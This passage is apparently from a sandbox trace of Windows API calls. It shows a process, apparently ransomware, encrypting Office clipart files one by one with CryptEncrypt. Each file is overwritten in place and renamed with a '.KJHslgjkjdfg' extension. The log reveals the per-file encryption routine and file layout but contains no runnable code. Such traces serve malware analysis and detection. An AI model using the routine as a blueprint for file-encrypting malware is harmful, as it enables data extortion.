RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.486] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.486] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.486] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.486] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.486] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.486] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.486] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.486] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.486] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.486] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.486] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.486] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x246a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x246a, lpOverlapped=0x0) returned 1 [0194.488] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2470, dwBufLen=0x2470 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2470) returned 1 [0194.488] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.488] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2470, lpOverlapped=0x0) returned 1 [0194.488] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.488] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.488] SetEndOfFile (hFile=0x130) returned 1 [0194.489] GetProcessHeap () returned 0x2ef0000 [0194.489] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.489] GetProcessHeap () returned 0x2ef0000 [0194.489] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.489] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.kjhslgjkjdfg")) returned 1 [0194.490] CloseHandle (hObject=0x130) returned 1 [0194.490] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0194.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.492] GetProcessHeap () returned 0x2ef0000 [0194.492] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.492] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.493] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.495] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.495] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.495] GetProcessHeap () returned 0x2ef0000 [0194.495] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0194.495] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0194.495] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.495] WriteFile (in: hFile=0x130, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0194.496] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.496] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.496] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.496] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.496] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.496] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.496] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.496] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.496] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xdec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xdec, lpOverlapped=0x0) returned 1 [0194.496] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdf0, dwBufLen=0xdf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdf0) returned 1 [0194.496] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.496] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xdf0, lpOverlapped=0x0) returned 1 [0194.496] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.497] SetEndOfFile (hFile=0x130) returned 1 [0194.499] GetProcessHeap () returned 0x2ef0000 [0194.499] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0194.499] GetProcessHeap () returned 0x2ef0000 [0194.499] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.499] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.kjhslgjkjdfg")) returned 1 [0194.500] CloseHandle (hObject=0x130) returned 1 [0194.501] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0194.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.505] GetProcessHeap () returned 0x2ef0000 [0194.505] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.505] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.505] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.505] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0194.507] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.507] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.507] GetProcessHeap () returned 0x2ef0000 [0194.508] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.508] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.508] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.508] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.508] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.508] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.508] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.508] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.508] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.508] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.508] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.508] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.508] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x976, lpOverlapped=0x0) returned 1 [0194.508] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x980, dwBufLen=0x980 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x980) returned 1 [0194.509] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.509] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x980, lpOverlapped=0x0) returned 1 [0194.509] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.509] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.509] SetEndOfFile (hFile=0x130) returned 1 [0194.512] GetProcessHeap () returned 0x2ef0000 [0194.512] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.512] GetProcessHeap () returned 0x2ef0000 [0194.512] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.512] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.kjhslgjkjdfg")) returned 1 [0194.513] CloseHandle (hObject=0x130) returned 1 [0194.513] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0194.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.514] GetProcessHeap () returned 0x2ef0000 [0194.515] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.515] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.515] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.515] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0194.517] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.517] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.517] GetProcessHeap () returned 0x2ef0000 [0194.517] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.517] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.517] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.517] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.517] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.518] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.518] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.518] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.518] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.518] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.518] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.518] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.518] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8d6, lpOverlapped=0x0) returned 1 [0194.518] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8e0) returned 1 [0194.518] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.518] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8e0, lpOverlapped=0x0) returned 1 [0194.518] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.518] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.518] SetEndOfFile (hFile=0x130) returned 1 [0194.521] GetProcessHeap () returned 0x2ef0000 [0194.521] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.521] GetProcessHeap () returned 0x2ef0000 [0194.521] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.521] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.kjhslgjkjdfg")) returned 1 [0194.522] CloseHandle (hObject=0x130) returned 1 [0194.523] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0194.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.524] GetProcessHeap () returned 0x2ef0000 [0194.524] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.524] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.524] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.524] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0194.527] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.527] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.527] GetProcessHeap () returned 0x2ef0000 [0194.527] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0194.527] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0194.527] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.527] WriteFile (in: hFile=0x130, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0194.527] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.527] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, 